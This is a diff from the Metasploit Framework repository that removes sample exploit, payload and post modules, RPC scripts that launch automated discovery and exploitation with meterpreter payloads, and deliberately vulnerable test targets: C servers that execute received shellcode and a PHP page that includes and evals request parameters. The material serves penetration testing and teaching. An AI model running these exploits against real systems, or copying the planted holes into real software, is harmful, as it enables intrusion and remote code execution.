if target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
print_status("Target selected as: #{target.name}")
html = get_html(target)
send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' })
end
end

View File

@ -1,85 +0,0 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
###
#
# This exploit sample shows how an exploit module could be written to exploit
# a bug in an arbitrary TCP server.
#
###
class Metasploit4 < Msf::Exploit::Remote
#
# This exploit affects TCP servers, so we use the TCP client mixin.
#
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Sample Exploit',
'Description' => %q{
This exploit module illustrates how a vulnerability could be exploited
in an TCP server that has a parsing bug.
},
'License' => MSF_LICENSE,
'Author' => ['skape'],
'References' =>
[
],
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
},
'Targets' =>
[
# Target 0: Windows All
[
'Windows XP/Vista/7/8',
{
'Platform' => 'win',
'Ret' => 0x41424344
}
],
],
'DisclosureDate' => "Apr 1 2013",
'DefaultTarget' => 0))
end
#
# The sample exploit just indicates that the remote host is always
# vulnerable.
#
def check
Exploit::CheckCode::Vulnerable
end
#
# The exploit method connects to the remote service and sends 1024 random bytes
# followed by the fake return address and then the payload.
#
def exploit
connect
print_status("Sending #{payload.encoded.length} byte payload...")
# Build the buffer for transmission
buf = rand_text_alpha(1024)
buf << [ target.ret ].pack('V')
buf << payload.encoded
# Send it off
sock.put(buf)
sock.get_once
handler
end
end

View File

@ -1,34 +0,0 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
###
#
# This class implements a very basic NOP sled generator that just returns a
# string of 0x90's.
#
###
class Metasploit4 < Msf::Nop
def initialize
super(
'Name' => 'Sample NOP Generator',
'Description' => 'Sample single-byte NOP generator',
'License' => MSF_LICENSE,
'Author' => 'skape',
'Arch' => ARCH_X86)
end
#
# Returns a string of 0x90's for the supplied length.
#
def generate_sled(length, opts)
"\x90" * length
end
end

View File

@ -1,34 +0,0 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
###
#
# This sample payload is designed to trigger a debugger exception via int3.
#
###
module Metasploit4
include Msf::Payload::Single
def initialize(info = {})
super(update_info(info,
'Name' => 'Debugger Trap',
'Description' => 'Causes a debugger trap exception through int3',
'License' => MSF_LICENSE,
'Author' => 'skape',
'Platform' => 'win',
'Arch' => ARCH_X86,
'Payload' =>
{
'Payload' => "\xcc"
}
))
end
end

View File

@ -1,40 +0,0 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/post/common'
###
#
# This post module sample shows how we can execute a command on the compromised machine
#
###
class Metasploit4 < Msf::Post
include Msf::Post::Common
def initialize(info={})
super(update_info(info,
'Name' => 'Sample Post Module',
'Description' => %q{Sample Post Module},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r'],
'Platform' => [ 'win'],
'SessionTypes' => [ "shell", "meterpreter" ]
))
end
#
# This post module runs a ipconfig command and returns the output
#
def run
print_status("Executing ipconfig on remote machine")
o = cmd_exec("ipconfig")
print_line(o)
end
end

View File

@ -1,207 +0,0 @@
#!/usr/bin/env ruby
require 'rubygems'
require 'optparse'
require 'msfrpc-client'
require 'rex/ui'
def usage(ropts)
$stderr.puts ropts
if @rpc and @rpc.token
wspaces = @rpc.call("pro.workspaces") rescue {}
if wspaces.keys.length > 0
$stderr.puts "Active Projects:"
wspaces.each_pair do |k,v|
$stderr.puts "\t#{k}"
end
end
end
$stderr.puts ""
exit(1)
end
opts = {}
# Parse script-specific options
parser = Msf::RPC::Client.option_parser(opts)
parser.separator('Discover Mandatory Options:')
parser.on("--project PROJECT") do |x|
opts[:project] = x
end
parser.on("--targets TARGETS") do |x|
opts[:targets] = [x]
end
parser.on("--blacklist BLACKLIST (optional)") do |x|
opts[:blacklist] = x
end
parser.on("--speed SPEED (optional)") do |x|
opts[:speed] = x
end
parser.on("--extra-ports PORTS (optional)") do |x|
opts[:extra_ports] = x
end
parser.on("--blacklist-ports PORTS (optional)") do |x|
opts[:blacklist_ports] = x
end
parser.on("--custom-ports PORTS (optional)") do |x|
opts[:custom_ports] = x
end
parser.on("--portscan-timeout TIMEOUT (optional)") do |x|
opts[:portscan_timeout] = x
end
parser.on("--source-port PORT (optional)") do |x|
opts[:source_port] = x
end
parser.on("--custom-nmap-options OPTIONS (optional)") do |x|
opts[:custom_nmap_options] = x
end
parser.on("--disable-udp-probes (optional)") do
opts[:disable_udp_probes] = true
end
parser.on("--disable-finger-users (optional)") do
opts[:disable_finger_users] = true
end
parser.on("--disable-snmp-scan (optional)") do
opts[:disable_snmp_scan] = true
end
parser.on("--disable-service-identification (optional)") do
opts[:disable_service_identification] = true
end
parser.on("--smb-user USER (optional)") do |x|
opts[:smb_user] = x
end
parser.on("--smb-pass PASS (optional)") do |x|
opts[:smb_pass] = x
end
parser.on("--smb-domain DOMAIN (optional)") do |x|
opts[:smb_domain] = x
end
parser.on("--dry-run (optional)") do
opts[:dry_run] = true
end
parser.on("--single-scan (optional)") do
opts[:single_scan] = true
end
parser.on("--fast-detect (optional)") do
opts[:fast_detect] = true
end
parser.on("--help") do
$stderr.puts parser
exit(1)
end
parser.separator('')
parser.parse!(ARGV)
@rpc = Msf::RPC::Client.new(opts)
if not @rpc.token
$stderr.puts "Error: Invalid RPC server options specified"
$stderr.puts parser
exit(1)
end
# Provide default values for certain options - If there's no alternative set
# use the default provided by Pro -- see the documentation.
project = opts[:project] || usage(parser)
targets = opts[:targets] || usage(parser)
blacklist = opts[:blacklist]
speed = opts[:speed] || "5"
extra_ports = opts[:extra_ports]
blacklist_ports = opts[:blacklist_ports]
custom_ports = opts[:custom_ports]
portscan_timeout = opts[:portscan_timeout] || 300
source_port = opts[:source_port]
custom_nmap_options = opts[:custom_nmap_options] ||
disable_udp_probes = opts[:disable_udp_probes] || false
disable_finger_users = opts[:disable_finger_users] || false
disable_snmp_scan = opts[:disable_snmp_scan] || false
disable_service_identification = opts[:disable_service_identification] || false
smb_user = opts[:smb_user] || ""
smb_pass = opts[:smb_pass] || ""
smb_domain = opts[:smb_domain] || ""
single_scan = opts[:single_scan] || false
fast_detect = opts[:fast_detect] || false
# Get the default user from Pro
user = @rpc.call("pro.default_admin_user")['username']
# Create the task object with all options
task = @rpc.call("pro.start_discover", {
'workspace' => project,
'username' => user,
'ips' => targets,
'DS_BLACKLIST_HOSTS' => blacklist,
'DS_PORTSCAN_SPEED' => speed,
'DS_PORTS_EXTRA' => extra_ports,
'DS_PORTS_BLACKLIST' => blacklist_ports,
'DS_PORTS_CUSTOM' => custom_ports,
'DS_PORTSCAN_TIMEOUT' => portscan_timeout,
'DS_PORTSCAN_SOURCE_PORT' => source_port,
'DS_CustomNmap' => custom_nmap_options,
'DS_UDP_PROBES' => disable_udp_probes,
'DS_FINGER_USERS' => disable_finger_users,
'DS_SNMP_SCAN' => disable_snmp_scan,
'DS_IDENTIFY_SERVICES' => disable_service_identification,
'DS_SMBUser' => smb_user,
'DS_SMBPass' => smb_pass,
'DS_SMBDomain' => smb_domain,
'DS_SINGLE_SCAN' => single_scan,
'DS_FAST_DETECT' => fast_detect
})
puts "DEBUG: Running task with #{task.inspect}"
if not task['task_id']
$stderr.puts "[-] Error starting the task: #{task.inspect}"
exit(0)
end
puts "[*] Creating Task ID #{task['task_id']}..."
while true
select(nil, nil, nil, 0.50)
stat = @rpc.call("pro.task_status", task['task_id'])
if stat['status'] == 'invalid'
$stderr.puts "[-] Error checking task status"
exit(0)
end
info = stat[ task['task_id'] ]
if not info
$stderr.puts "[-] Error finding the task"
exit(0)
end
if info['status'] == "error"
$stderr.puts "[-] Error generating report: #{info['error']}"
exit(0)
end
break if info['progress'] == 100
end
$stdout.puts "[+] Task Complete!"

View File

@ -1,225 +0,0 @@
#!/usr/bin/env ruby
require 'rubygems'
require 'optparse'
require 'msfrpc-client'
require 'rex/ui'
def usage(ropts)
$stderr.puts ropts
if @rpc and @rpc.token
wspaces = @rpc.call("pro.workspaces") rescue {}
if wspaces.keys.length > 0
$stderr.puts "Active Projects:"
wspaces.each_pair do |k,v|
$stderr.puts "\t#{k}"
end
end
end
$stderr.puts ""
exit(1)
end
opts = {}
opts[:blacklist] = ''
opts[:whitelist_ports] = ''
opts[:blacklist_ports] = ''
opts[:exploit_timeout] = 5
opts[:limit_sessions] = true
opts[:ignore_fragile_devices] = true
opts[:filter_by_os] = true
opts[:only_match] = false
opts[:match_vulns] = true
opts[:match_ports] = true
opts[:payload_method] = "auto"
opts[:payload_type] = "meterpreter"
opts[:payload_ports] = "4000-5000"
opts[:evasion_level_tcp] = 0
opts[:evasion_level_app] = 0
opts[:module_filter] = ''
# Parse script-specific options
parser = Msf::RPC::Client.option_parser(opts)
parser.separator('Exploit Specific Options:')
parser.on("--project PROJECT") do |x|
opts[:project] = x
end
parser.on("--targets TARGETS") do |x|
opts[:targets] = x
end
parser.on("--speed SPEED") do |x|
opts[:speed] = x
end
parser.on("--minimum-rank RANK") do |x|
opts[:rank] = x
end
parser.on("--blacklist BLACKLIST (optional)") do |x|
opts[:blacklist] = x
end
parser.on("--whitelist-ports PORTS (optional)") do |x|
opts[:whitelist_ports] = x
end
parser.on("--blacklist-ports PORTS (optional)") do |x|
opts[:blacklist_ports] = x
end
parser.on("--exploit-timeout TIMEOUT (optional)") do |x|
opts[:exploit_timeout] = x
end
parser.on("--limit-sessions (optional)") do |x|
opts[:limit_sessions] = (x =~ /^(y|t|1)/i ? true : false )
end
parser.on("--ignore-fragile-devices (optional)") do |x|
opts[:ignore_fragile_devices] = (x =~ /^(y|t|1)/i ? true : false )
end
parser.on("--filter-by-os (optional)") do |x|
opts[:filter_by_os] = (x =~ /^(y|t|1)/i ? true : false )
end
parser.on("--dry-run (optional)") do |x|
opts[:only_match] = (x =~ /^(y|t|1)/i ? true : false )
end
parser.on("--match-vulns (optional)") do |x|
opts[:match_vulns] = (x =~ /^(y|t|1)/i ? true : false )
end
parser.on("--match-ports (optional)") do |x|
opts[:match_ports] = (x =~ /^(y|t|1)/i ? true : false )
end
parser.on("--payload-method AUTO|REVERSE|BIND (optional)") do |x|
opts[:payload_method] = x
end
parser.on("--payload-type METERPRETER|SHELL (optional)") do |x|
opts[:payload_type] = x
end
parser.on("--payload-ports PORTS (optional)") do |x|
opts[:payload_ports] = x
end
parser.on("--evasion-level-tcp LEVEL (optional)") do |x|
opts[:evasion_level_tcp] = x
end
parser.on("--evasion-level-app LEVEL (optional)") do |x|
opts[:evasion_level_app] = x
end
parser.on("--module-filter FILTER (optional)") do |x|
opts[:module_filter] = x
end
parser.on("--help") do
$stderr.puts parser
exit(1)
end
parser.separator('')
parser.parse!(ARGV)
@rpc = Msf::RPC::Client.new(opts)
if not @rpc.token
$stderr.puts "Error: Invalid RPC server options specified"
$stderr.puts parser
exit(1)
end
# Store the user's settings
project = opts[:project] || usage(parser)
targets = opts[:targets] || usage(parser)
rank = opts[:rank] || usage(parser)
speed = opts[:speed] || usage(parser)
blacklist = opts[:blacklist]
whitelist_ports = opts[:whitelist_ports]
blacklist_ports = opts[:blacklist_ports]
exploit_timeout = opts[:exploit_timeout]
limit_sessions = opts[:limit_sessions]
ignore_fragile_devices = opts[:ignore_fragile_devices]
filter_by_os = opts[:filter_by_os]
only_match = opts[:only_match]
match_vulns = opts[:match_vulns]
match_ports = opts[:match_ports]
payload_method = opts[:payload_method]
payload_type = opts[:payload_type]
payload_ports = opts[:payload_ports]
evasion_level_tcp = opts[:evasion_level_tcp]
evasion_level_app = opts[:evasion_level_app]
module_filter = opts[:module_filter]
#===
# Get the default user
user = @rpc.call("pro.default_admin_user")['username']
# Create the task object with all options
task = @rpc.call("pro.start_exploit", {
'workspace' => project,
'username' => user,
'DS_WHITELIST_HOSTS' => targets,
'DS_BLACKLIST_HOSTS' => blacklist,
'DS_WHITELIST_PORTS' => whitelist_ports,
'DS_BLACKLIST_PORTS' => blacklist_ports,
'DS_MinimumRank' => rank,
'DS_EXPLOIT_SPEED' => speed,
'DS_EXPLOIT_TIMEOUT' => exploit_timeout,
'DS_LimitSessions' => limit_sessions,
'DS_IgnoreFragileDevices' => ignore_fragile_devices,
'DS_FilterByOS' => filter_by_os,
'DS_OnlyMatch' => only_match,
'DS_MATCH_VULNS' => match_vulns,
'DS_MATCH_PORTS' => match_ports,
'DS_PAYLOAD_METHOD' => payload_method,
'DS_PAYLOAD_TYPE' => payload_type,
'DS_PAYLOAD_PORTS' => payload_ports,
'DS_EVASION_LEVEL_TCP' => evasion_level_tcp,
'DS_EVASION_LEVEL_APP' => evasion_level_app,
'DS_ModuleFilter' => module_filter
})
puts "DEBUG: Running task with #{task.inspect}"
if not task['task_id']
$stderr.puts "[-] Error starting the task: #{task.inspect}"
exit(0)
end
puts "[*] Creating Task ID #{task['task_id']}..."
while true
select(nil, nil, nil, 0.50)
stat = @rpc.call("pro.task_status", task['task_id'])
if stat['status'] == 'invalid'
$stderr.puts "[-] Error checking task status"
exit(0)
end
info = stat[ task['task_id'] ]
if not info
$stderr.puts "[-] Error finding the task"
exit(0)
end
if info['status'] == "error"
$stderr.puts "[-] Error generating report: #{info['error']}"
exit(0)
end
break if info['progress'] == 100
end
$stdout.puts "[+] Task Complete!"

View File

@ -1,91 +0,0 @@
#!/usr/bin/env ruby
require 'rubygems'
require 'optparse'
require 'msfrpc-client'
require 'rex/ui'
def usage(ropts)
$stderr.puts ropts
if @rpc and @rpc.token
wspaces = @rpc.call("pro.workspaces") rescue {}
if wspaces.keys.length > 0
$stderr.puts "Active Projects:"
wspaces.each_pair do |k,v|
$stderr.puts "\t#{k}"
end
end
end
exit(1)
end
opts = {}
# Parse script-specific options
parser = Msf::RPC::Client.option_parser(opts)
parser.separator('Task Options:')
parser.on("--path PATH") do |path|
opts[:path] = path
end
parser.on("--project PROJECT") do |project|
opts[:project] = project
end
parser.on("--help") do
$stderr.puts parser
exit(1)
end
parser.separator('')
parser.parse!(ARGV)
@rpc = Msf::RPC::Client.new(opts)
if not @rpc.token
$stderr.puts "Error: Invalid RPC server options specified"
$stderr.puts parser
exit(1)
end
project = opts[:project] || usage(parser)
path = opts[:path] || usage(parser)
user = @rpc.call("pro.default_admin_user")['username']
task = @rpc.call("pro.start_import", {
'workspace' => project,
'username' => user,
'DS_PATH' => path
})
if not task['task_id']
$stderr.puts "[-] Error starting the task: #{task.inspect}"
exit(0)
end
puts "[*] Creating Task ID #{task['task_id']}..."
while true
select(nil, nil, nil, 0.50)
stat = @rpc.call("pro.task_status", task['task_id'])
if stat['status'] == 'invalid'
$stderr.puts "[-] Error checking task status"
exit(0)
end
info = stat[ task['task_id'] ]
if not info
$stderr.puts "[-] Error finding the task"
exit(0)
end
if info['status'] == "error"
$stderr.puts "[-] Error generating report: #{info['error']}"
exit(0)
end
break if info['progress'] == 100
end
$stdout.puts "[+] Task Complete!"

View File

@ -1,148 +0,0 @@
#!/usr/bin/env ruby
require 'rubygems'
require 'optparse'
require 'msfrpc-client'
require 'rex/ui'
def usage(ropts)
$stderr.puts ropts
if @rpc and @rpc.token
wspaces = @rpc.call("pro.workspaces") rescue {}
if wspaces.keys.length > 0
$stderr.puts "Active Projects:"
wspaces.each_pair do |k,v|
$stderr.puts "\t#{k}"
end
end
end
$stderr.puts ""
exit(1)
end
opts = {}
# Parse script-specific options
parser = Msf::RPC::Client.option_parser(opts)
parser.separator('NeXpose Specific Options:')
parser.on("--project PROJECT") do |x|
opts[:project] = x
end
parser.on("--targets TARGETS") do |x|
opts[:targets] = [x]
end
parser.on("--nexpose-host HOST") do |x|
opts[:nexpose_host] = x
end
parser.on("--nexpose-user USER") do |x|
opts[:nexpose_user] = x
end
parser.on("--nexpose-pass PASSWORD") do |x|
opts[:nexpose_pass] = x
end
parser.on("--nexpose-pass-file PATH") do |x|
opts[:nexpose_pass_file] = x
end
parser.on("--scan-template TEMPLATE (optional)") do |x|
opts[:scan_template] = x
end
parser.on("--nexpose-port PORT (optional)") do |x|
opts[:nexpose_port] = x
end
parser.on("--blacklist BLACKLIST (optional)") do |x|
opts[:blacklist] = x
end
parser.on("--help") do
$stderr.puts parser
exit(1)
end
parser.separator('')
parser.parse!(ARGV)
@rpc = Msf::RPC::Client.new(opts)
if not @rpc.token
$stderr.puts "Error: Invalid RPC server options specified"
$stderr.puts parser
exit(1)
end
# Get the password from the file
if opts[:nexpose_pass_file]
nexpose_pass = File.open(opts[:nexpose_pass_file],"r").read.chomp!
else
nexpose_pass = opts[:nexpose_pass] || usage(parser)
end
# Store the user's settings
project = opts[:project] || usage(parser),
targets = opts[:targets] || usage(parser),
blacklist = opts[:blacklist],
nexpose_host = opts[:nexpose_host] || usage(parser),
nexpose_port = opts[:nexpose_port] || "3780",
nexpose_user = opts[:nexpose_user] || "nxadmin"
scan_template = opts[:scan_template] || "pentest-audit"
# Get the default user
user = @rpc.call("pro.default_admin_user")['username']
options = {
'workspace' => project,
'username' => user,
'DS_WHITELIST_HOSTS' => targets,
'DS_NEXPOSE_HOST' => nexpose_host,
'DS_NEXPOSE_PORT' => nexpose_port,
'DS_NEXPOSE_USER' => nexpose_user,
'nexpose_pass' => nexpose_pass,
'DS_SCAN_TEMPLATE' => scan_template
}
puts "DEBUG: Running task with #{options}"
# Create the task object with all options
task = @rpc.call("pro.start_exploit", options)
if not task['task_id']
$stderr.puts "[-] Error starting the task: #{task.inspect}"
exit(0)
end
puts "[*] Creating Task ID #{task['task_id']}..."
while true
select(nil, nil, nil, 0.50)
stat = @rpc.call("pro.task_status", task['task_id'])
if stat['status'] == 'invalid'
$stderr.puts "[-] Error checking task status"
exit(0)
end
info = stat[ task['task_id'] ]
if not info
$stderr.puts "[-] Error finding the task"
exit(0)
end
if info['status'] == "error"
$stderr.puts "[-] Error generating report: #{info['error']}"
exit(0)
end
break if info['progress'] == 100
end
$stdout.puts "[+] Task Complete!"

View File

@ -1,43 +0,0 @@
# $Id$
# $Revision$
# Author:
#-------------------------------------------------------------------------------
################## Variable Declarations ##################
@client = client
sample_option_var = nil
@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-o" => [ true , "Option that requieres a value"]
)
meter_type = client.platform
################## Function Declarations ##################
# Usage Message Function
#-------------------------------------------------------------------------------
def usage
print_line "Meterpreter Script for INSERT PURPOSE."
print_line(@exec_opts.usage)
raise Rex::Script::Completed
end
# Wrong Meterpreter Version Message Function
#-------------------------------------------------------------------------------
def wrong_meter_version(meter = meter_type)
print_error("#{meter} version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
################## Main ##################
@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage
when "-o"
sample_option_var = val
end
}
# Check for Version of Meterpreter
wrong_meter_version(meter_type) if meter_type !~ /win32|win64|java|php|linux/i # Remove none supported versions

View File

@ -1,132 +0,0 @@
<ruby>
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
#
# Put your 'require' here
#
#
# RC files currently have no 'modinfo' like a real Metasploit module, so this help message
# will have to do the trick for now.
#
def help
msg = %Q|
Description:
Let's describe what this RC script is all about, plus anything the user should know before
actually using it.
Usage:
msfconsole -r <rc file> <db_user> <db_pass> <db_workspace> <arg1>
Options:
<rc file> - I'm sure you already know
<db_user> - Username for the database (datastore: 'DB_USER')
<db_pass> - Password for the database (datastore: 'DB_PASS')
<db_workspace> - Workspace for the database (datastore: 'DB_WORKSPACE')
<arg1> - Argument 1 (datastore: 'ARG1')
Authors:
sinn3r <sinn3r[at]metasploit.com>
|
msg = msg.gsub(/^\t/, '')
print_line(msg)
end
#
# See if we're already connected
#
def is_db_active?
begin
framework.db.hosts
return true
rescue ::ActiveRecord::ConnectionNotEstablished
return false
end
end
#
# Initialize the database.
# Default to localhost:5432, as this is the default configuration suggested by the manual.
#
def init_db(username, password, workspace)
db = "localhost:5432"
print_status("Opening #{workspace} at #{db}")
run_single("db_connect #{username}:#{password}@#{db}/#{workspace}")
end
#
# Initialize the argumets here
#
def init_args
args = {}
joint = ARGV.join('')
if joint =~ /^help$/i
args[:help] = true
return args
end
# Add more arguments according to your help() function
datastore = framework.datastore
args[:db_user] = ARGV.shift || datastore['DB_USER'] || ''
args[:db_pass] = ARGV.shift || datastore['DB_PASS'] || ''
args[:db_workspace] = ARGV.shift || datastore['DB_WORKSPACE'] || ''
args[:arg1] = ARGV.shift || datastore['ARG1'] || ''
if not is_db_active?
if args[:db_user].empty? or args[:db_pass].empty? or args[:db_workspace].empty?
raise ArgumentError, "Need DB_USER, DB_PASS, and DB_WORKSPACE"
end
end
raise ArgumentError, "Need ARG1" if args[:arg1].empty?
return args
end
#
# This is your main function
#
def main(args)
print_status("Initialzation is done, and here's your input: #{args[:arg1]}")
end
#
# Below initializes the arguments and database
#
begin
args = init_args
if args[:help]
help
return
end
init_db(args[:db_user], args[:db_pass], args[:db_workspace]) if not is_db_active?
main(args)
rescue ArgumentError => e
print_error("Bad argument(s): #{e.message}")
return
rescue RuntimeError => e
# Any runtime error should be raised as "RuntimeError"
print_error(e.message)
return
rescue ::Exception => e
# Whatever unknown exception occurs, we raise it
raise e
end
</ruby>

View File

@ -1,5 +0,0 @@
all: exploitmel
exploitmel: exploitme-posix.c
gcc -W -Wall $< -o $@
clean:
rm exploitmel

View File

@ -1,105 +0,0 @@
/* exploitme coded in a hurry by Yoann Guillot and Julien Tinnes, used 'man select_tut' as skeleton */
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#include <string.h>
#include <signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <sys/mman.h>
#include <malloc.h>
#define LISTEN_PORT 4545
int vuln(void) {
struct sockaddr_in a;
int s, mysock;
int yes, ret, pagesize;
void *buf;
pagesize = sysconf(_SC_PAGE_SIZE);
if (pagesize == -1) {
perror("pagesize");
return -1;
}
if (pagesize < 4096)
pagesize=(4096/pagesize+1)*pagesize;
printf("Detected pagesize: %d\n", pagesize);
buf=memalign(pagesize, pagesize);
if (buf == NULL) {
perror("memalign");
return -1;
}
if ((s = socket (AF_INET, SOCK_STREAM, 0)) < 0) {
perror ("socket");
return -1;
}
yes = 1;
if (setsockopt
(s, SOL_SOCKET, SO_REUSEADDR,
(char *) &yes, sizeof (yes)) < 0) {
perror ("setsockopt");
close (s);
return -1;
}
memset (&a, 0, sizeof (a));
a.sin_port = htons (LISTEN_PORT);
a.sin_family = AF_INET;
if (bind
(s, (struct sockaddr *) &a, sizeof (a)) < 0) {
perror ("bind");
close (s);
return -1;
}
printf ("Send your shellcode to port %d\n",
(int) LISTEN_PORT);
listen (s, 10);
for (;;) {
mysock=accept(s, NULL, NULL);
if (mysock == -1) {
perror("accept");
close(s);
return -1;
}
if (!fork()) {
printf("Got new connexion\n");
close(s);
switch (yes=read(mysock, buf, pagesize)) {
case -1:
perror("read");
case 0:
close(mysock);
close(s);
return -1;
}
printf("Read %d bytes\n", yes);
/* This has the useful side effect of flushing the cache on architectures such as MIPS! */
ret=mprotect(buf, pagesize, PROT_READ|PROT_WRITE|PROT_EXEC);
if (ret) {
perror("mprotect");
return -1;
}
((void (*)())buf)();
return 42;
} else
close(mysock);
}
}
int main(void)
{
#ifdef SWITCH_STACK
unsigned char *m;
m = mmap(NULL, 1024 * 1024 * 2, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
m += (1024 * 1024 * 2) - 4;
__asm__("movl %0, %%esp; call vuln" : : "m" (m));
#else
vuln();
#endif
}

View File

@ -1,18 +0,0 @@
<?php
if (isset($_REQUEST['path'])) {
include($_REQUEST['path']);
}
if (isset($_REQUEST['includeme'])) {
include($_REQUEST['includeme']);
}
if (isset($_REQUEST['evalme'])) {
eval($_REQUEST['evalme']);
}
?>
<html>
<head><title>Your mom</title></head>
<body>
<H1>Your mom</H1>
</body>
</html>

View File

@ -1,17 +0,0 @@
SOURCES=testsrv.c
OPTIONS=-fno-stack-protector -Wa,--execstack -Wl,-z,execstack
default:x86_32 x86_64
all: x86_32 x86_64
x86_32:
gcc -m32 ${OPTIONS} -o testsrv32 ${SOURCES}
x86_64:
gcc -m64 ${OPTIONS} -o testsrv64 ${SOURCES}
clean:
rm testsrv32
rm testsrv64

View File

@ -1,2 +0,0 @@
This is meant to be used in conjunction with the test/aggressive exploit. It
simply executes whatever code is passed to it over the socket.

View File

@ -1,129 +0,0 @@
/*
* srv.c -- Example server for easy exploiting
*
* Usage: srv <port>
*
* Example:
*
* C:\> srv 1234
* C:\> nload localhost 1234 -s code.s
*
*/
#include <stdio.h>
#include <string.h>
#include <errno.h>
#if defined _WIN32
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#else
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#endif
#define SERVER_PORT 5432
#define MAX_PENDING 1
int ehlo, from;
/* Main function */
int main(int argc, char **argv) {
struct sockaddr_in sin;
char buf[8092], *ptr;
int c, i, len, port;
int s, new_s, bytes;
#if defined _WIN32
int wsaret;
WSADATA wsaData;
#endif
int (*funct)();
/* Command line parameters */
if (argv[1])
port = atoi(argv[1]);
else
port = SERVER_PORT;
#if defined _WIN32
/* Initialize winsock */
wsaret = WSAStartup(0x101, &wsaData);
if(wsaret != 0)
return (0);
/* Create a socket */
if ((s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) < 0) {
fprintf(stderr, "%s: WSASocket - %s\n", argv[0], strerror(errno));
exit(1);
}
#else
if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
fprintf(stderr, "%s: socket - %s\n", argv[0], strerror(errno));
exit(1);
}
#endif
/* Initialize the addres data structure */
memset((void *)&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = INADDR_ANY;
sin.sin_port = htons(port);
/* Bind an address to the socket */
if (bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
fprintf(stderr, "%s: bind - %s\n", argv[0], strerror(errno));
exit(1);
}
/* Set the length of the listen queue */
if (listen(s, MAX_PENDING) < 0) {
fprintf(stderr, "%s: listen - %s\n", argv[0], strerror(errno));
exit(1);
}
while (1)
{
#if defined _WIN32
__try
{
#endif
len = sizeof(sin);
new_s = accept(s, (struct sockaddr *)&sin, &len);
memset(buf, 0, sizeof(buf));
bytes = recv(new_s, buf, sizeof(buf), 0);
printf("recv'd %d\n", bytes);
#if defined _WIN32
__asm mov edi, new_s
#else
// TODO: add inlined assembly for "non windows" compiler
#endif
funct = (int (*)()) buf;
(int)(*funct)();
#if defined _WIN32
} __except(EXCEPTION_EXECUTE_HANDLER)
{
fprintf(stderr, "Got exception: %lu\n", GetExceptionCode());
}
#endif
}
return (0);
}

View File

@ -1,910 +0,0 @@
%%
% This file is part of the Metasploit Framework.
%%
%
% Title: Metasploit Framework User Guide
% Version: $Revision: 4068 $
%
\documentclass{report}
\usepackage{graphicx}
\usepackage{color}
\usepackage{amsmath}
\usepackage[colorlinks,urlcolor=blue,linkcolor=black,citecolor=blue]{hyperref}
\begin{document}
\title{Metasploit Framework User Guide}
\author{metasploit.com}
\begin{titlepage}
\begin{center}
\huge{Metasploit Framework User Guide}
\ \\[10mm]
\large{Version 3.2}
\\[10mm]
\includegraphics{hacker04.jpg}
\ \\[10mm]
\small{\url{http://www.metasploit.com/}}
\rule{10cm}{1pt} \\[4mm]
\renewcommand{\arraystretch}{0.5}
\end{center}
\end{titlepage}
\tableofcontents
\setlength{\parindent}{0pt} \setlength{\parskip}{8pt}
\chapter{Introduction}
\par
This is the official user guide for version 3.2 of the Metasploit Framework. This
guide is designed to provide an overview of what the framework is, how it works,
and what you can do with it. The latest version of this document can be found
on the Metasploit Framework web site.
\par
The Metasploit Framework is a platform for writing, testing, and using exploit code.
The primary users of the Framework are professionals performing penetration testing,
shellcode development, and vulnerability research.
\par
\pagebreak
\chapter{Installation}
\section{Installation on Unix}
\label{INSTALL-UNIX}
\par
Installing the Framework is as easy as extracting the tarball, changing into the
created directory, and executing your preferred user interface. We strongly
recommend that you use a version of the Ruby interpreter that was built with
support for the GNU Readline library. If you are using the Framework on Mac OS
X prior to 10.5.1, you will need to install GNU Readline and then recompile the Ruby
interpreter. Using a version of Ruby with Readline support enables tab completion
of the console interface. The \texttt{msfconsole} user interface is preferred for everyday
use, but the \texttt{msfweb} interface can be useful for live demonstrations.
\par
To perform a system-wide installation, we recommend that you copy the entire
Framework directory into a globally accessible location (/usr/local/msf) and
then create symbolic links from the msf* applications to a directory in the
system path (/usr/local/bin). User-specific modules can be placed into
\texttt{HOME/.msf3/modules} directory. The structure of this directory should
mirror that of the global modules directory found in the framework
distribution.
\par
The latest stable release of the Ruby interpreter (1.8.7-p72) contains a bug which
breaks many of the Metasploit Framework modules. The only way to work around this
bug is by downgrading to an older version of 1.8.6 or by upgrading to the latest
stable snapshot of 1.8.7. The latest stable snapshot can be downloaded from
\url{ftp://ftp.ruby-lang.org/pub/ruby/stable-snapshot.tar.gz}. For more information
